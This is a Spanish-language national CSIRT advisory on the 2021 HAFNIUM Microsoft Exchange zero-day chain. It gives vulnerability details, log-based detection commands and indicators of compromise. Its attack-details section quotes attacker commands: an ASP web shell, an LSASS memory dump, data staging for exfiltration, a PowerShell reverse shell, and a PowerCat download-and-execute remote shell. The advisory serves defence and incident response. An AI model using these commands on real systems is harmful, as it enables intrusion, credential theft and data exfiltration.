PRESIDENCIA DE LA
REPÚBLICA DOMINICANA

MINISTERIO DE LA PRESIDENCIA

Alerta de Vulnerabilidad

Vulnerabilidades de día-0

Microsoft Exchange

Fecha de publicación: 02 marzo 2021

Criticidad: Alta

TLP: Blanco

CNCS CENTRO NACIONAL DE CIBERSEGURIDAD
REPÚBLICA DOMINICANA

CSIRT-RD
Equipo Nacional de Respuestas a Incidentes Cibernéticos del CNCS

Resumen

Microsoft ha detectado múltiples exploits de día cero que se utilizan para atacar versiones locales de Microsoft Exchange Server en ataques limitados y dirigidos. En los ataques observados, el actor de la amenaza utilizó estas vulnerabilidades para acceder a los servidores de Exchange en premisa que permitieron el acceso a las cuentas de correo electrónico y permitieron la instalación de malware adicional para facilitar el acceso a largo plazo a los entornos de las víctimas. El Centro de Inteligencia de Amenazas de Microsoft (MSTIC) atribuye esta campaña a HAFNIUM, un grupo presuntamente patrocinado por el estado y que opera fuera de China, basado en la victimología, tácticas y procedimientos observados.

Las vulnerabilidades que se explotaron recientemente fueron CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 y CVE-2021-27065, todas las cuales se abordaron en la versión de hoy del Centro de respuesta de seguridad de Microsoft (MSRC) - Actualizaciones de seguridad múltiples Publicado para Exchange Server. Instamos encarecidamente a los clientes a actualizar los sistemas locales de inmediato. Exchange Online no se ve afectado.

Microsoft comparte esta información con sus clientes y la comunidad de seguridad para enfatizar la naturaleza crítica de estas vulnerabilidades y la importancia de parchear todos los sistemas afectados de inmediato para protegerlos contra estas vulnerabilidades y prevenir futuros abusos en todo el ecosistema. Las IOC relacionadas, las consultas de búsqueda avanzada de Azure Sentinel y las detecciones y consultas de productos de Microsoft Defender for Endpoint que se comparten en el boletín ayudarán a los equipos de respuesta a incidentes cibernéticos a buscar de manera proactiva la actividad relacionada en sus entornos y elevar las alertas para su corrección.

Versiones afectadas: *Microsoft Exchange Server 2010, Microsoft Exchange Server 2013, Microsoft Exchange Server 2016, Microsoft Exchange Server 2019*

1. Detalles técnicos

Estas cuatro vulnerabilidades de día cero están encadenadas para obtener acceso a los servidores de Microsoft Exchange, robar correo electrónico e implantar malware adicional para un mayor acceso a la red.

El atacante remoto requiere acceder a un servidor de Microsoft Exchange en el puerto 443. Si el acceso está disponible, el atacante explota las siguientes vulnerabilidades para obtener acceso remoto:

- CVE-2021-26855 es una vulnerabilidad de falsificación de solicitudes del lado del servidor (SSRF) en Exchange que permite al atacante enviar solicitudes HTTP arbitrarias y autenticarse como el servidor de Exchange.
- CVE-2021-26857 es una vulnerabilidad de deserialización insegura en el servicio de mensajería unificada. La deserialización insegura ocurre cuando un programa deserializa datos no confiables y controlables por el usuario. Esta otorga al atacante la capacidad de ejecutar código como SYSTEM en el servidor Exchange. *Esto requiere permiso de administrador u otra vulnerabilidad para explotar.*
- CVE-2021-26858 es una vulnerabilidad de escritura de archivo arbitrario posterior a la autenticación en Exchange. Si el atacante pudiera autenticarse con el servidor de Exchange, entonces podrían usar esta vulnerabilidad para escribir un archivo en cualquier ruta del servidor. Podrían autenticarse explotando la vulnerabilidad SSRF CVE-2021-26855 o comprometiendo las credenciales de un administrador legítimo.
- CVE-2021-27065 es una vulnerabilidad de escritura de archivo arbitrario posterior a la autenticación en Exchange al igual que CVE-2021-26858

2. Detalles del ataque

Después de explotar estas vulnerabilidades para obtener acceso inicial, los atacantes implementaron shells web en el servidor comprometido. A continuación, se muestra un ejemplo de un shell web implementado por el atacante, escrito en ASP

```
<%@ Page Language="Jscript"%><%System.IO.File.WriteAllText(Request.Item["p"],
Request.Item["c"]);%>
```

- *Uso de Procdump para volcar la memoria del proceso LSASS:*

```
C:\windows\temp\procdump64 -accepteula -ma lsass.exe C:\windows\temp\lsass
```

- *Uso de 7-Zip para comprimir datos robados en archivos ZIP para su exfiltración:*

```
c:\ProgramData\7z a -t7z -r  c:\ProgramData\it.zip c:\ProgramData\pst
```

- *Agregando y usando complementos de Exchange PowerShell para exportar datos del buzón:*

```
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;&#x0A;Get-Mailbox&#x0A

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest -ResultSize
100

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest|Remove-
MailboxExportRequest -Confirm:$false
```

- *Utilización de shell inverso Nishang Invoke-PowerShellTcpOneLine:*

```
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient([redacted]);$stream =
$client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString
($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' +
(pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write
($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

- *Descarga de PowerCat de GitHub, luego usándolo para abrir una conexión a un servidor remoto:*

```
IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c
[redacted] -p [redacted] -e powershell
```

3. Verificación de compromiso

Indicadores de compromiso (IOC), orientación de detección y consultas de búsqueda avanzadas para ayudar a los clientes a investigar esta actividad mediante los registros del servidor de Exchange, Azure Sentinel, Microsoft Defender for Endpoint y Microsoft 365 Defender. Se recomienda realizar investigaciones para identificar posibles campañas anteriores y prevenir campañas futuras.

Escanee los archivos de registro de Exchange en busca de indicadores de compromiso

- CVE-2021-26855 se puede detectar a través de los siguientes registros de Exchange HttpProxy:
  - Estos registros se encuentran en el siguiente directorio: %PROGRAMFILES%\Microsoft\ExchangeServer\V15\ Logging \ HttpProxy
  - La explotación se puede identificar buscando entradas de registro donde *AuthenticatedUser* está vacío y *AnchorMailbox* contiene el patrón de ServerInfo ~*/*
    - A continuación, se muestra un comando de PowerShell de ejemplo para encontrar estas entradas de registro:
      Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '.log').FullName | Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox*
  - Si se detecta actividad, los registros específicos de la aplicación especificada en la ruta AnchorMailbox se pueden utilizar para ayudar a determinar qué acciones se tomaron.
    - Estos registros se encuentran en el directorio %PROGRAMFILES%\Microsoft\Exchange Server\V15\ Logging.

- CVE-2021-26858 se puede detectar a través de los archivos de registro de Exchange:
  - C:\ProgramFiles\Microsoft\ExchangeServer\V15\Logging\OABGeneratorLog
  - Los archivos solo deben descargarse en el directorio %PROGRAMFILES%\ Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp
    - En caso de explotación, los archivos se descargan a otros directorios (UNC o rutas locales)
  - Comando de Windows para buscar una posible explotación:
    findtr /snip /c: "Download failed and temporary file" *"%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\OABGeneratorLog*.log"*

- CVE-2021-26857 se puede detectar a través de los registros de eventos de la aplicación de Windows
  - La explotación de este error de deserialización creará eventos de aplicación con las siguientes propiedades:
    - Fuente: Mensajería unificada de MSExchange
    - EntryType: Error
    - El mensaje de evento contiene: System.InvalidCastException
  - A continuación, se muestra el comando de PowerShell para consultar el registro de eventos de la aplicación para estas entradas de registro:
    Get-EventLog -LogName Aplicación -Fuente "Mensajería unificada de MSExchange" -Error de tipo de entrada | Where-Object {$ _. Mensaje -como " System.InvalidCastException *"}*

- CVE-2021-27065 se puede detectar a través de los siguientes archivos de registro de Exchange:
  - C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server
  - Todas las propiedades de Set-<AppName>VirtualDirectory nunca deben contener un script. InternalUrl y ExternalUrl solo deben ser Uris válidos.
  - A continuación, se muestra un comando de PowerShell para buscar una posible explotación:
    Select-String -Path "$ env: PROGRAMFILES \ Microsoft\Exchange Server \V15\Logging\ ECP\Server.Log" -Pattern 'Set-.+VirtualDirectory'*

4. Indicadores de Compromiso (IoC)

Indicadores de Compromiso	
Hashes	b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
	097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
	2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
	65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
	511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1
	4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
	811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
	1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944
Rutas	C:\inetpub\wwwroot\aspnet_client\
	C:\inetpub\wwwroot\aspnet_client\system_web\
Archivos	web.aspx
	help.aspx
	document.aspx
	errorEE.aspx
	errorEEE.aspx
	errorEW.aspx
	errorFF.aspx
	healthcheck.aspx
	aspnet_www.aspx
	aspnet_client.aspx

	xx.aspx
	shell.aspx
	aspnet_iisstart.aspx
	one.aspx
Programas	Procdump
	Nishang
	PowerCat

Detecciones de Antivirus Windows Defender

- Exploit:Script/Exmann.A!dha
- Behavior:Win32/Exmann.A
- Backdoor:ASP/SecChecker.A
- Backdoor:JS/Webshell
- Trojan:JS/Chopper!dha
- Behavior:Win32/DumpLsass.A!attk
- Backdoor:HTML/TwoFaceVar.B

Detecciones de Windows Defender para Endpoints

- Creación de procesos sospechosos de mensajería unificada (UM) de Exchange
- Creación sospechosa de archivos de mensajería unificada (UM) de Exchange
- Posible instalación de shell web
- Proceso de volcado de memoria

Detecciones de Azure Sentinel

- Solicitud de intercambio sospechoso
- Servicio UM escribiendo archivo sospechoso
- Proceso secundario del nuevo servicio de UM
- Errores sospechosos del servicio de mensajería unificada UM
- Descargas de archivos sospechosos